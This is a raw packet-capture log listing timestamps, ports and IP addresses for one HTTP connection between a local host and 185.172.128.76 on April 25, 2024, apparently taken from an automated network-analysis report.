Apr 25, 2024 14:42:09.724392891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724419117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724431992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724461079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724473000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724499941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724512100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724538088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724551916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724575996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724585056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724612951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724627018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724647045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724662066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724684000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724695921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724721909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724735975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724761009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724771023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724797964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724809885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724836111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724848032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724873066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724886894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724912882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724921942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724951029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.724962950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.724989891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725002050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725028992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725044012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725064993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725080013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725104094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725115061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725142002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725157022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725179911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725189924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725214958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725225925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725255013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725265026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725294113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725308895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725332022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725343943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725367069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725383043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725404024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725415945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725441933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725455046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725481987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725491047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725522041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725534916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725559950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725572109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725598097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725609064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725634098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725644112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725672960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725683928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725712061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725725889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725749969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725758076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725784063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725800991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725821018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725841045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725863934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725877047 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725902081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725914001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725938082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725955009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.725974083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.725986958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726013899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726027966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726052046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726063013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726087093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726109982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726124048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726136923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726164103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726174116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726203918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726212025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726243973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726257086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726283073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726295948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726320982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726332903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726356983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726371050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726393938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726406097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726438046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726447105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726478100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726483107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726514101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726531029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726553917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726562977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726592064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726599932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726629019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726639986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726663113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726675987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726700068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726708889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726738930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726747990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726775885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726784945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726809025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726830959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726846933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726847887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726883888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726893902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726924896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726931095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.726963997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.726970911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727001905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727010012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727040052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727050066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727075100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727085114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727111101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727121115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727149010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727158070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727186918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727195024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727221966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727235079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727258921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727264881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727296114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727308035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727334023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727343082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727368116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727380991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727406025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727411985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727443933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727451086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727483034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727488995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727519035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.727531910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.727565050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776221037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776288033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776325941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776364088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776401997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776439905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776448011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776448011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776448011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776448011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776478052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776485920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776485920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776516914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776530981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776555061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776561975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776595116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776603937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776633978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776635885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776671886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776679993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776707888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776717901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776746035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776756048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776783943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776793957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776820898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776828051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776865959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.776942015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776979923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.776990891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777014017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777025938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777056932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777122021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777163982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777169943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777209044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777327061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777363062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777374983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777401924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777406931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777440071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777446032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777477980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777482986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777513027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777524948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777549982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777564049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777586937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777594090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777625084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777635098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777672052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777693033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777735949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777764082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777803898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777813911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777842045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777843952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777874947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777890921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777914047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777920008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777951956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777959108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.777990103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.777997971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778023958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778034925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778062105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778067112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778100014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778107882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778137922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778145075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778171062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778182983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778209925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778211117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778247118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778254986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778285027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778290033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778321981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778331995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778358936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778368950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778398991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778409958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778436899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778445959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778474092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778482914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778511047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778520107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778564930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778572083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778601885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.778609991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.778646946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.825692892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.032176971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141268015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141311884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141349077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141386032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141438961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141464949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141464949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141464949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141464949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141475916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141515970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141525030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141525030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141556025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141566992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141593933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141603947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141632080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141642094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141668081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.141681910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.141710043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195579052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195669889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195712090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195790052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195802927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195802927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195802927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195843935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195846081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195883989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195899010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195920944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195935965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195959091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.195971966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.195997953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196011066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196037054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196048975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196072102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196091890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196121931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196130991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196167946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196178913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196213961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196223974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196257114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196275949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196294069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196307898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196331024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196343899 CEST	49731	80	192.168.2.4	185.172.128.76
